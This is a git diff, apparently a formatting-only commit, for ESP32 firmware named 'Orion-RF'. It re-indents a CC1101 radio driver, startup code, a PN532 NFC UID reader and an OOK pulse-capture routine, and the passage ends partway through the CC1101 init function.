+    SendData(chartobyte, len, t);

+}

+/****************************************************************

+ *FUNCTION NAME:SendData

+ *FUNCTION     :use CC1101 send data without GDO

+ *INPUT        :txBuffer: data array to send; size: number of data to send, no

+ * more than 61 OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SendData(byte *txBuffer, byte size, int t) {

+    SpiWriteReg(CC1101_TXFIFO, size);

+    SpiWriteBurstReg(CC1101_TXFIFO, txBuffer, size); // write data to send

+    SpiStrobe(CC1101_SIDLE);

+    SpiStrobe(CC1101_STX); // start send

+    delay(t);

+    SpiStrobe(CC1101_SFTX); // flush TXfifo

+    trxstate = 1;

+}

+/****************************************************************

+ *FUNCTION NAME:Check CRC

+ *FUNCTION     :none

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+bool ELECHOUSE_CC1101::CheckCRC(void) {

+    byte lqi = SpiReadStatus(CC1101_LQI);

+    bool crc_ok = bitRead(lqi, 7);

+    if (crc_ok == 1) {

+        return 1;

+    } else {

+        SpiStrobe(CC1101_SFRX);

+        SpiStrobe(CC1101_SRX);

+        return 0;

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:CheckRxFifo

+ *FUNCTION     :check receive data or not

+ *INPUT        :none

+ *OUTPUT       :flag: 0 no data; 1 receive data

+ ****************************************************************/

+bool ELECHOUSE_CC1101::CheckRxFifo(int t) {

+    if (trxstate != 2) {

+        SetRx();

+    }

+    if (SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO) {

+        delay(t);

+        return 1;

+    } else {

+        return 0;

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:CheckReceiveFlag

+ *FUNCTION     :check receive data or not

+ *INPUT        :none

+ *OUTPUT       :flag: 0 no data; 1 receive data

+ ****************************************************************/

+byte ELECHOUSE_CC1101::CheckReceiveFlag(void) {

+    if (trxstate != 2) {

+        SetRx();

+    }

+    if (digitalRead(GDO0)) // receive data

+    {

+        while (digitalRead(GDO0))

+            ;

+        return 1;

+    } else // no data

+    {

+        return 0;

+    }

+}

+/****************************************************************

+ *FUNCTION NAME:ReceiveData

+ *FUNCTION     :read data received from RXfifo

+ *INPUT        :rxBuffer: buffer to store data

+ *OUTPUT       :size of data received

+ ****************************************************************/

+byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer) {

+    byte size;

+    byte status[2];

 

-	if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)

-	{

-		size=SpiReadReg(CC1101_RXFIFO);

-		SpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);

-		SpiReadBurstReg(CC1101_RXFIFO,status,2);

-		SpiStrobe(CC1101_SFRX);

-    SpiStrobe(CC1101_SRX);

-		return size;

-	}

-	else

-	{

-		SpiStrobe(CC1101_SFRX);

-    SpiStrobe(CC1101_SRX);

- 		return 0;

-	}

+    if (SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO) {

+        size = SpiReadReg(CC1101_RXFIFO);

+        SpiReadBurstReg(CC1101_RXFIFO, rxBuffer, size);

+        SpiReadBurstReg(CC1101_RXFIFO, status, 2);

+        SpiStrobe(CC1101_SFRX);

+        SpiStrobe(CC1101_SRX);

+        return size;

+    } else {

+        SpiStrobe(CC1101_SFRX);

+        SpiStrobe(CC1101_SRX);

+        return 0;

+    }

 }

 ELECHOUSE_CC1101 ELECHOUSE_cc1101;
\ No newline at end of file
diff --git a/src/libs/ELECHOUSE_CC1101_SRC_DRV.h b/src/libs/ELECHOUSE_CC1101_SRC_DRV.h
index 136a9b5..fd6df0a 100644
--- a/src/libs/ELECHOUSE_CC1101_SRC_DRV.h
+++ b/src/libs/ELECHOUSE_CC1101_SRC_DRV.h
@@ -5,12 +5,13 @@
     Version: November 12, 2010

 

   This library is designed to use CC1101/CC1100 module on Arduino platform.

-  CC1101/CC1100 module is an useful wireless module.Using the functions of the 

-  library, you can easily send and receive data by the CC1101/CC1100 module. 

+  CC1101/CC1100 module is an useful wireless module.Using the functions of the

+  library, you can easily send and receive data by the CC1101/CC1100 module.

   Just have fun!

   For the details, please refer to the datasheet of CC1100/CC1101.

 ----------------------------------------------------------------------------------------------------------------

-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).

+cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and

+publish Wilson Shen (ELECHOUSE).

 ----------------------------------------------------------------------------------------------------------------

 */

 #ifndef ELECHOUSE_CC1101_SRC_DRV_h

@@ -18,175 +19,183 @@ cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and
 

 #include <Arduino.h>

 

-//***************************************CC1101 define**************************************************//

+//***************************************CC1101

+//define**************************************************//

 // CC1101 CONFIG REGSITER

-#define CC1101_IOCFG2       0x00        // GDO2 output pin configuration

-#define CC1101_IOCFG1       0x01        // GDO1 output pin configuration

-#define CC1101_IOCFG0       0x02        // GDO0 output pin configuration

-#define CC1101_FIFOTHR      0x03        // RX FIFO and TX FIFO thresholds

-#define CC1101_SYNC1        0x04        // Sync word, high INT8U

-#define CC1101_SYNC0        0x05        // Sync word, low INT8U

-#define CC1101_PKTLEN       0x06        // Packet length

-#define CC1101_PKTCTRL1     0x07        // Packet automation control

-#define CC1101_PKTCTRL0     0x08        // Packet automation control

-#define CC1101_ADDR         0x09        // Device address

-#define CC1101_CHANNR       0x0A        // Channel number

-#define CC1101_FSCTRL1      0x0B        // Frequency synthesizer control

-#define CC1101_FSCTRL0      0x0C        // Frequency synthesizer control

-#define CC1101_FREQ2        0x0D        // Frequency control word, high INT8U

-#define CC1101_FREQ1        0x0E        // Frequency control word, middle INT8U

-#define CC1101_FREQ0        0x0F        // Frequency control word, low INT8U

-#define CC1101_MDMCFG4      0x10        // Modem configuration

-#define CC1101_MDMCFG3      0x11        // Modem configuration

-#define CC1101_MDMCFG2      0x12        // Modem configuration

-#define CC1101_MDMCFG1      0x13        // Modem configuration

-#define CC1101_MDMCFG0      0x14        // Modem configuration

-#define CC1101_DEVIATN      0x15        // Modem deviation setting

-#define CC1101_MCSM2        0x16        // Main Radio Control State Machine configuration

-#define CC1101_MCSM1        0x17        // Main Radio Control State Machine configuration

-#define CC1101_MCSM0        0x18        // Main Radio Control State Machine configuration

-#define CC1101_FOCCFG       0x19        // Frequency Offset Compensation configuration

-#define CC1101_BSCFG        0x1A        // Bit Synchronization configuration

-#define CC1101_AGCCTRL2     0x1B        // AGC control

-#define CC1101_AGCCTRL1     0x1C        // AGC control

-#define CC1101_AGCCTRL0     0x1D        // AGC control

-#define CC1101_WOREVT1      0x1E        // High INT8U Event 0 timeout

-#define CC1101_WOREVT0      0x1F        // Low INT8U Event 0 timeout

-#define CC1101_WORCTRL      0x20        // Wake On Radio control

-#define CC1101_FREND1       0x21        // Front end RX configuration

-#define CC1101_FREND0       0x22        // Front end TX configuration

-#define CC1101_FSCAL3       0x23        // Frequency synthesizer calibration

-#define CC1101_FSCAL2       0x24        // Frequency synthesizer calibration

-#define CC1101_FSCAL1       0x25        // Frequency synthesizer calibration

-#define CC1101_FSCAL0       0x26        // Frequency synthesizer calibration

-#define CC1101_RCCTRL1      0x27        // RC oscillator configuration

-#define CC1101_RCCTRL0      0x28        // RC oscillator configuration

-#define CC1101_FSTEST       0x29        // Frequency synthesizer calibration control

-#define CC1101_PTEST        0x2A        // Production test

-#define CC1101_AGCTEST      0x2B        // AGC test

-#define CC1101_TEST2        0x2C        // Various test settings

-#define CC1101_TEST1        0x2D        // Various test settings

-#define CC1101_TEST0        0x2E        // Various test settings

+#define CC1101_IOCFG2 0x00   // GDO2 output pin configuration

+#define CC1101_IOCFG1 0x01   // GDO1 output pin configuration

+#define CC1101_IOCFG0 0x02   // GDO0 output pin configuration

+#define CC1101_FIFOTHR 0x03  // RX FIFO and TX FIFO thresholds

+#define CC1101_SYNC1 0x04    // Sync word, high INT8U

+#define CC1101_SYNC0 0x05    // Sync word, low INT8U

+#define CC1101_PKTLEN 0x06   // Packet length

+#define CC1101_PKTCTRL1 0x07 // Packet automation control

+#define CC1101_PKTCTRL0 0x08 // Packet automation control

+#define CC1101_ADDR 0x09     // Device address

+#define CC1101_CHANNR 0x0A   // Channel number

+#define CC1101_FSCTRL1 0x0B  // Frequency synthesizer control

+#define CC1101_FSCTRL0 0x0C  // Frequency synthesizer control

+#define CC1101_FREQ2 0x0D    // Frequency control word, high INT8U

+#define CC1101_FREQ1 0x0E    // Frequency control word, middle INT8U

+#define CC1101_FREQ0 0x0F    // Frequency control word, low INT8U

+#define CC1101_MDMCFG4 0x10  // Modem configuration

+#define CC1101_MDMCFG3 0x11  // Modem configuration

+#define CC1101_MDMCFG2 0x12  // Modem configuration

+#define CC1101_MDMCFG1 0x13  // Modem configuration

+#define CC1101_MDMCFG0 0x14  // Modem configuration

+#define CC1101_DEVIATN 0x15  // Modem deviation setting

+#define CC1101_MCSM2 0x16    // Main Radio Control State Machine configuration

+#define CC1101_MCSM1 0x17    // Main Radio Control State Machine configuration

+#define CC1101_MCSM0 0x18    // Main Radio Control State Machine configuration

+#define CC1101_FOCCFG 0x19   // Frequency Offset Compensation configuration

+#define CC1101_BSCFG 0x1A    // Bit Synchronization configuration

+#define CC1101_AGCCTRL2 0x1B // AGC control

+#define CC1101_AGCCTRL1 0x1C // AGC control

+#define CC1101_AGCCTRL0 0x1D // AGC control

+#define CC1101_WOREVT1 0x1E  // High INT8U Event 0 timeout

+#define CC1101_WOREVT0 0x1F  // Low INT8U Event 0 timeout

+#define CC1101_WORCTRL 0x20  // Wake On Radio control

+#define CC1101_FREND1 0x21   // Front end RX configuration

+#define CC1101_FREND0 0x22   // Front end TX configuration

+#define CC1101_FSCAL3 0x23   // Frequency synthesizer calibration

+#define CC1101_FSCAL2 0x24   // Frequency synthesizer calibration

+#define CC1101_FSCAL1 0x25   // Frequency synthesizer calibration

+#define CC1101_FSCAL0 0x26   // Frequency synthesizer calibration

+#define CC1101_RCCTRL1 0x27  // RC oscillator configuration

+#define CC1101_RCCTRL0 0x28  // RC oscillator configuration

+#define CC1101_FSTEST 0x29   // Frequency synthesizer calibration control

+#define CC1101_PTEST 0x2A    // Production test

+#define CC1101_AGCTEST 0x2B  // AGC test

+#define CC1101_TEST2 0x2C    // Various test settings

+#define CC1101_TEST1 0x2D    // Various test settings

+#define CC1101_TEST0 0x2E    // Various test settings

 

-//CC1101 Strobe commands

-#define CC1101_SRES         0x30        // Reset chip.

-#define CC1101_SFSTXON      0x31        // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).

-                                        // If in RX/TX: Go to a wait state where only the synthesizer is

-                                        // running (for quick RX / TX turnaround).

-#define CC1101_SXOFF        0x32        // Turn off crystal oscillator.

-#define CC1101_SCAL         0x33        // Calibrate frequency synthesizer and turn it off

-                                        // (enables quick start).

-#define CC1101_SRX          0x34        // Enable RX. Perform calibration first if coming from IDLE and

-                                        // MCSM0.FS_AUTOCAL=1.

-#define CC1101_STX          0x35        // In IDLE state: Enable TX. Perform calibration first if

-                                        // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:

-                                        // Only go to TX if channel is clear.

-#define CC1101_SIDLE        0x36        // Exit RX / TX, turn off frequency synthesizer and exit

-                                        // Wake-On-Radio mode if applicable.

-#define CC1101_SAFC         0x37        // Perform AFC adjustment of the frequency synthesizer

-#define CC1101_SWOR         0x38        // Start automatic RX polling sequence (Wake-on-Radio)

-#define CC1101_SPWD         0x39        // Enter power down mode when CSn goes high.

-#define CC1101_SFRX         0x3A        // Flush the RX FIFO buffer.

-#define CC1101_SFTX         0x3B        // Flush the TX FIFO buffer.

-#define CC1101_SWORRST      0x3C        // Reset real time clock.

-#define CC1101_SNOP         0x3D        // No operation. May be used to pad strobe commands to two

-                                        // INT8Us for simpler software.

-//CC1101 STATUS REGSITER

-#define CC1101_PARTNUM      0x30

-#define CC1101_VERSION      0x31

-#define CC1101_FREQEST      0x32

-#define CC1101_LQI          0x33

-#define CC1101_RSSI         0x34

-#define CC1101_MARCSTATE    0x35

-#define CC1101_WORTIME1     0x36

-#define CC1101_WORTIME0     0x37

-#define CC1101_PKTSTATUS    0x38

-#define CC1101_VCO_VC_DAC   0x39

-#define CC1101_TXBYTES      0x3A

-#define CC1101_RXBYTES      0x3B

+// CC1101 Strobe commands

+#define CC1101_SRES 0x30 // Reset chip.

+#define CC1101_SFSTXON                                                         \

+    0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).

+         // If in RX/TX: Go to a wait state where only the synthesizer is

+         // running (for quick RX / TX turnaround).

+#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.

+#define CC1101_SCAL                                                            \

+    0x33 // Calibrate frequency synthesizer and turn it off

+         // (enables quick start).

+#define CC1101_SRX                                                             \

+    0x34 // Enable RX. Perform calibration first if coming from IDLE and

+         // MCSM0.FS_AUTOCAL=1.

+#define CC1101_STX                                                             \

+    0x35 // In IDLE state: Enable TX. Perform calibration first if

+         // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:

+         // Only go to TX if channel is clear.

+#define CC1101_SIDLE                                                           \

+    0x36 // Exit RX / TX, turn off frequency synthesizer and exit

+         // Wake-On-Radio mode if applicable.

+#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer

+#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)

+#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high.

+#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.

+#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.

+#define CC1101_SWORRST 0x3C // Reset real time clock.

+#define CC1101_SNOP                                                            \

+    0x3D // No operation. May be used to pad strobe commands to two

+         // INT8Us for simpler software.

+// CC1101 STATUS REGSITER

+#define CC1101_PARTNUM 0x30

+#define CC1101_VERSION 0x31

+#define CC1101_FREQEST 0x32

+#define CC1101_LQI 0x33

+#define CC1101_RSSI 0x34

+#define CC1101_MARCSTATE 0x35

+#define CC1101_WORTIME1 0x36

+#define CC1101_WORTIME0 0x37

+#define CC1101_PKTSTATUS 0x38

+#define CC1101_VCO_VC_DAC 0x39

+#define CC1101_TXBYTES 0x3A

+#define CC1101_RXBYTES 0x3B

 

-//CC1101 PATABLE,TXFIFO,RXFIFO

-#define CC1101_PATABLE      0x3E

-#define CC1101_TXFIFO       0x3F

-#define CC1101_RXFIFO       0x3F

+// CC1101 PATABLE,TXFIFO,RXFIFO

+#define CC1101_PATABLE 0x3E

+#define CC1101_TXFIFO 0x3F

+#define CC1101_RXFIFO 0x3F

 

-//************************************* class **************************************************//

-class ELECHOUSE_CC1101

-{

-private:

-  void SpiStart(void);

-  void SpiEnd(void);

-  void GDO_Set (void);

-  void GDO0_Set (void);

-  void Reset (void);

-  void setSpi(void);

-  void RegConfigSettings(void);

-  void Calibrate(void);

-  void Split_PKTCTRL0(void);

-  void Split_PKTCTRL1(void);

-  void Split_MDMCFG1(void);

-  void Split_MDMCFG2(void);

-  void Split_MDMCFG4(void);

-public:

-  void Init(void);

-  byte SpiReadStatus(byte addr);

-  void setSpiPin(byte sck, byte miso, byte mosi, byte ss);

-  void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);

-  void setGDO(byte gdo0, byte gdo2);

-  void setGDO0(byte gdo0);

-  void addGDO(byte gdo0, byte gdo2, byte modul);

-  void addGDO0(byte gdo0, byte modul);

-  void setModul(byte modul);

-  void setCCMode(bool s);

-  void setModulation(byte m);

-  void setPA(int p);

-  void setMHZ(float mhz);

-  void setChannel(byte chnl);

-  void setChsp(float f);

-  void setRxBW(float f);

-  void setDRate(float d);

-  void setDeviation(float d);

-  void SetTx(void);

-  void SetRx(void);

-  void SetTx(float mhz);

-  void SetRx(float mhz);

-   int getRssi(void);

-  byte getLqi(void);

-  void setSres(void);

-  void setSidle(void);

-  void goSleep(void);

-  void SendData(byte *txBuffer, byte size);

-  void SendData(char *txchar);

-  void SendData(byte *txBuffer, byte size, int t);

-  void SendData(char *txchar, int t);

-  byte CheckReceiveFlag(void);

-  byte ReceiveData(byte *rxBuffer);

-  bool CheckCRC(void);

-  void SpiStrobe(byte strobe);

-  void SpiWriteReg(byte addr, byte value);

-  void SpiWriteBurstReg(byte addr, byte *buffer, byte num);

-  byte SpiReadReg(byte addr);

-  void SpiReadBurstReg(byte addr, byte *buffer, byte num);

-  void setClb(byte b, byte s, byte e);

-  bool getCC1101(void);

-  byte getMode(void);

-  void setSyncWord(byte sh, byte sl);

-  void setAddr(byte v);

-  void setWhiteData(bool v);

-  void setPktFormat(byte v);

-  void setCrc(bool v);

-  void setLengthConfig(byte v);

-  void setPacketLength(byte v);

-  void setDcFilterOff(bool v);

-  void setManchester(bool v);

-  void setSyncMode(byte v);

-  void setFEC(bool v);

-  void setPRE(byte v);

-  void setPQT(byte v);

-  void setCRC_AF(bool v);

-  void setAppendStatus(bool v);

-  void setAdrChk(byte v);

-  bool CheckRxFifo(int t);

+//************************************* class

+//**************************************************//

+class ELECHOUSE_CC1101 {

+  private:

+    void SpiStart(void);

+    void SpiEnd(void);

+    void GDO_Set(void);

+    void GDO0_Set(void);

+    void Reset(void);

+    void setSpi(void);

+    void RegConfigSettings(void);

+    void Calibrate(void);

+    void Split_PKTCTRL0(void);

+    void Split_PKTCTRL1(void);

+    void Split_MDMCFG1(void);

+    void Split_MDMCFG2(void);

+    void Split_MDMCFG4(void);

+

+  public:

+    void Init(void);

+    byte SpiReadStatus(byte addr);

+    void setSpiPin(byte sck, byte miso, byte mosi, byte ss);

+    void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);

+    void setGDO(byte gdo0, byte gdo2);

+    void setGDO0(byte gdo0);

+    void addGDO(byte gdo0, byte gdo2, byte modul);

+    void addGDO0(byte gdo0, byte modul);

+    void setModul(byte modul);

+    void setCCMode(bool s);

+    void setModulation(byte m);

+    void setPA(int p);

+    void setMHZ(float mhz);

+    void setChannel(byte chnl);

+    void setChsp(float f);

+    void setRxBW(float f);

+    void setDRate(float d);

+    void setDeviation(float d);

+    void SetTx(void);

+    void SetRx(void);

+    void SetTx(float mhz);

+    void SetRx(float mhz);

+    int getRssi(void);

+    byte getLqi(void);

+    void setSres(void);

+    void setSidle(void);

+    void goSleep(void);

+    void SendData(byte *txBuffer, byte size);

+    void SendData(char *txchar);

+    void SendData(byte *txBuffer, byte size, int t);

+    void SendData(char *txchar, int t);

+    byte CheckReceiveFlag(void);

+    byte ReceiveData(byte *rxBuffer);

+    bool CheckCRC(void);

+    void SpiStrobe(byte strobe);

+    void SpiWriteReg(byte addr, byte value);

+    void SpiWriteBurstReg(byte addr, byte *buffer, byte num);

+    byte SpiReadReg(byte addr);

+    void SpiReadBurstReg(byte addr, byte *buffer, byte num);

+    void setClb(byte b, byte s, byte e);

+    bool getCC1101(void);

+    byte getMode(void);

+    void setSyncWord(byte sh, byte sl);

+    void setAddr(byte v);

+    void setWhiteData(bool v);

+    void setPktFormat(byte v);

+    void setCrc(bool v);

+    void setLengthConfig(byte v);

+    void setPacketLength(byte v);

+    void setDcFilterOff(bool v);

+    void setManchester(bool v);

+    void setSyncMode(byte v);

+    void setFEC(bool v);

+    void setPRE(byte v);

+    void setPQT(byte v);

+    void setCRC_AF(bool v);

+    void setAppendStatus(bool v);

+    void setAdrChk(byte v);

+    bool CheckRxFifo(int t);

 };

 

 extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;

diff --git a/src/main.cpp b/src/main.cpp
index 280617b..fd3d6fe 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -37,88 +37,88 @@ RF24 radio2(CE2_PIN, CSN2_PIN);
 SPIClass *RADIO_SPI;
 
 void deactivateNRF1() {
-  digitalWrite(CSN1_PIN, HIGH);
-  digitalWrite(CE1_PIN, LOW);
+    digitalWrite(CSN1_PIN, HIGH);
+    digitalWrite(CE1_PIN, LOW);
 }
 
 void deactivateNRF2() {
-  digitalWrite(CSN2_PIN, HIGH);
-  digitalWrite(CE2_PIN, LOW);
+    digitalWrite(CSN2_PIN, HIGH);
+    digitalWrite(CE2_PIN, LOW);
 }
 
 // ================= SYSTEM INFO =================
 void printSystemUsage() {
-  esp_chip_info_t chip_info;
+    esp_chip_info_t chip_info;
 
-  esp_chip_info(&chip_info);
+    esp_chip_info(&chip_info);
 
-  Serial.printf("CPU cores: %d\n", chip_info.cores);
+    Serial.printf("CPU cores: %d\n", chip_info.cores);
 
-  Serial.printf("Free heap: %d bytes\n",
-                heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
+    Serial.printf("Free heap: %d bytes\n",
+                  heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
 
-  Serial.printf("PSRAM free: %d bytes\n",
-                heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
+    Serial.printf("PSRAM free: %d bytes\n",
+                  heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
 }
 
 void showSplash() {
-  u8g2.clearBuffer();
+    u8g2.clearBuffer();
 
-  u8g2.setFont(u8g2_font_logisoso20_tr); // big font
-  u8g2.drawStr(10, 40, "Orion-RF");
+    u8g2.setFont(u8g2_font_logisoso20_tr); // big font
+    u8g2.drawStr(10, 40, "Orion-RF");
 
-  u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
-  u8g2.drawStr(25, 58, "Initializing...");
+    u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
+    u8g2.drawStr(25, 58, "Initializing...");
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 
-  delay(1500); // 1.5 sec
+    delay(1500); // 1.5 sec
 }
 
 // ================= SETUP =================
 void setup() {
-  Serial.begin(115200);
+    Serial.begin(115200);
 
-  displayInit();
-  showSplash();
+    displayInit();
+    showSplash();
 
-  buttonsInit();
-  menuInit();
+    buttonsInit();
+    menuInit();
 
-  delay(1500);
+    delay(1500);
 
-  USB.begin();
-  Keyboard.begin();
+    USB.begin();
+    Keyboard.begin();
 
-  // NRF SPI safety
-  // pinMode(CSN1_PIN, OUTPUT);
-  // digitalWrite(CSN1_PIN, HIGH);
+    // NRF SPI safety
+    // pinMode(CSN1_PIN, OUTPUT);
+    // digitalWrite(CSN1_PIN, HIGH);
 
-  // pinMode(CSN2_PIN, OUTPUT);
-  // digitalWrite(CSN2_PIN, HIGH);
-  deactivateNRF1();
-  deactivateNRF2();
+    // pinMode(CSN2_PIN, OUTPUT);
+    // digitalWrite(CSN2_PIN, HIGH);
+    deactivateNRF1();
+    deactivateNRF2();
 
-  RADIO_SPI = new SPIClass(FSPI);
-  RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
+    RADIO_SPI = new SPIClass(FSPI);
+    RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
 
-  // ===== CC1101 SPI INIT =====
-  // SPI.begin(
-  //    cc1101_SCK,
-  //    cc1101_MISO,
-  //    cc1101_MOSI,
-  //    CC1101_CS
-  //);
+    // ===== CC1101 SPI INIT =====
+    // SPI.begin(
+    //    cc1101_SCK,
+    //    cc1101_MISO,
+    //    cc1101_MOSI,
+    //    CC1101_CS
+    //);
 
-  // pinMode(CC1101_CS, OUTPUT);
-  // pinMode(CC1101_2_CS, OUTPUT);
+    // pinMode(CC1101_CS, OUTPUT);
+    // pinMode(CC1101_2_CS, OUTPUT);
 
-  // digitalWrite(CC1101_CS, HIGH);
-  // digitalWrite(CC1101_2_CS, HIGH);
+    // digitalWrite(CC1101_CS, HIGH);
+    // digitalWrite(CC1101_2_CS, HIGH);
 
-  printSystemUsage();
+    printSystemUsage();
 
-  Serial.println("SYSTEM READY");
+    Serial.println("SYSTEM READY");
 }
 
 // ================= LOOP =================
diff --git a/src/nfc/nfc.cpp b/src/nfc/nfc.cpp
index 99dc1a7..d4c3fb4 100644
--- a/src/nfc/nfc.cpp
+++ b/src/nfc/nfc.cpp
@@ -15,90 +15,90 @@
 Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
 
 void drawWaiting() {
-  u8g2.clearBuffer();
+    u8g2.clearBuffer();
 
-  u8g2.drawStr(10, 20, "PN532 Ready");
-  u8g2.drawStr(10, 40, "Tap NFC Card");
+    u8g2.drawStr(10, 20, "PN532 Ready");
+    u8g2.drawStr(10, 40, "Tap NFC Card");
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 void showUID(uint8_t *uid, uint8_t uidLength) {
-  char line[64];
+    char line[64];
 
-  String uidStr = "";
+    String uidStr = "";
 
-  for (int i = 0; i < uidLength; i++) {
-    if (uid[i] < 0x10)
-      uidStr += "0";
+    for (int i = 0; i < uidLength; i++) {
+        if (uid[i] < 0x10)
+            uidStr += "0";
 
-    uidStr += String(uid[i], HEX);
-    uidStr += " ";
-  }
+        uidStr += String(uid[i], HEX);
+        uidStr += " ";
+    }
 
-  uidStr.toUpperCase();
+    uidStr.toUpperCase();
 
-  u8g2.clearBuffer();
+    u8g2.clearBuffer();
 
-  u8g2.drawStr(0, 15, "Card Detected");
+    u8g2.drawStr(0, 15, "Card Detected");
 
-  snprintf(line, sizeof(line), "UID:");
+    snprintf(line, sizeof(line), "UID:");
 
-  u8g2.drawStr(0, 35, line);
+    u8g2.drawStr(0, 35, line);
 
-  u8g2.drawStr(0, 50, uidStr.c_str());
+    u8g2.drawStr(0, 50, uidStr.c_str());
 
-  u8g2.sendBuffer();
+    u8g2.sendBuffer();
 }
 
 void pn532_init() {
-  delay(100);
-  nfc.begin();
-  delay(100);
+    delay(100);
+    nfc.begin();
+    delay(100);
 
-  uint32_t versiondata = nfc.getFirmwareVersion();
+    uint32_t versiondata = nfc.getFirmwareVersion();
 
-  if (!versiondata) {
-    Serial.println("PN532 not found");
+    if (!versiondata) {
+        Serial.println("PN532 not found");
 
-    u8g2.clearBuffer();
-    u8g2.drawStr(0, 20, "PN532 NOT FOUND");
-    u8g2.sendBuffer();
+        u8g2.clearBuffer();
+        u8g2.drawStr(0, 20, "PN532 NOT FOUND");
+        u8g2.sendBuffer();
 
-    delay(2000);
-    return;
-  }
+        delay(2000);
+        return;
+    }
 
-  Serial.println("PN532 initialized");
+    Serial.println("PN532 initialized");
 
-  nfc.SAMConfig();
+    nfc.SAMConfig();
 }
 
 void pn532_scan_loop() {
-  pn532_init();
+    pn532_init();
 
-  drawWaiting();
+    drawWaiting();
 
-  while (1) {
-    uint8_t success;
-    uint8_t uid[7];
-    uint8_t uidLength;
+    while (1) {
+        uint8_t success;
+        uint8_t uid[7];
+        uint8_t uidLength;
 
-    Serial.println("Scanning...");
-    success =
-        nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
+        Serial.println("Scanning...");
+        success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid,
+                                          &uidLength, 50);
 
-    if (success) {
-      Serial.println("Card detected");
+        if (success) {
+            Serial.println("Card detected");
 
-      showUID(uid, uidLength);
+            showUID(uid, uidLength);
 
-      delay(1000);
-    }
+            delay(1000);
+        }
 
-    if (btnBack()) {
-      delay(150);
-      break;
+        if (btnBack()) {
+            delay(150);
+            break;
+        }
     }
-  }
 }
diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp
index f9b16b7..87966f8 100644
--- a/src/rf/cc1101.cpp
+++ b/src/rf/cc1101.cpp
@@ -27,331 +27,331 @@ int powerLevel = 10;
 
 // ===== ISR =====
 void IRAM_ATTR pulseISR() {
-  unsigned long now = micros();
+    unsigned long now = micros();
 
-  if (!capturing)
-    return;
-  if (pulseIndex >= RAW_BUF_MAX)
-    return;
+    if (!capturing)
+        return;
+    if (pulseIndex >= RAW_BUF_MAX)
+        return;
 
-  unsigned long duration = now - lastEdgeTime;
+    unsigned long duration = now - lastEdgeTime;
 
-  if (duration < 150)
-    return;
+    if (duration < 150)
+        return;
 
-  captureBuffer[pulseIndex++] = duration;
-  lastEdgeTime = now;
+    captureBuffer[pulseIndex++] = duration;
+    lastEdgeTime = now;
 }
 
 // ===== OOK SETUP =====
 void setupOOKMode() {
-  ELECHOUSE_cc1101.SetRx();
-  ELECHOUSE_cc1101.setMHZ(currentFreq);
-
-  ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
-  ELECHOUSE_cc1101.setDRate(dataRate);
-  ELECHOUSE_cc1101.setDeviation(0);
-  ELECHOUSE_cc1101.setRxBW(rxBW);
-  ELECHOUSE_cc1101.setSyncMode(0);
-  ELECHOUSE_cc1101.setPA(powerLevel);
+    ELECHOUSE_cc1101.SetRx();
+    ELECHOUSE_cc1101.setMHZ(currentFreq);
+
+    ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
+    ELECHOUSE_cc1101.setDRate(dataRate);
+    ELECHOUSE_cc1101.setDeviation(0);
+    ELECHOUSE_cc1101.setRxBW(rxBW);
+    ELECHOUSE_cc1101.setSyncMode(0);
+    ELECHOUSE_cc1101.setPA(powerLevel);
 }
 
 // ===== INIT (LAZY, SAFE) =====
 // ================= CC1101 INIT =================
 bool initCC1101() {
-  Serial.println();
-  Serial.println("===== CC1101 INIT =====");
+    Serial.println();
+    Serial.println("===== CC1101 INIT =====");
 
-  // ===== SPI =====
-  SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
+    // ===== SPI =====
+    SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
 
-  pinMode(CC1101_CS, OUTPUT);
-  digitalWrite(CC1101_CS, HIGH);
+    pinMode(CC1101_CS, OUTPUT);
+    digitalWrite(CC1101_CS, HIGH);
 
-  delay(100);
+    delay(100);
 
-  // ===== GDO =====
-  ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
+    // ===== GDO =====
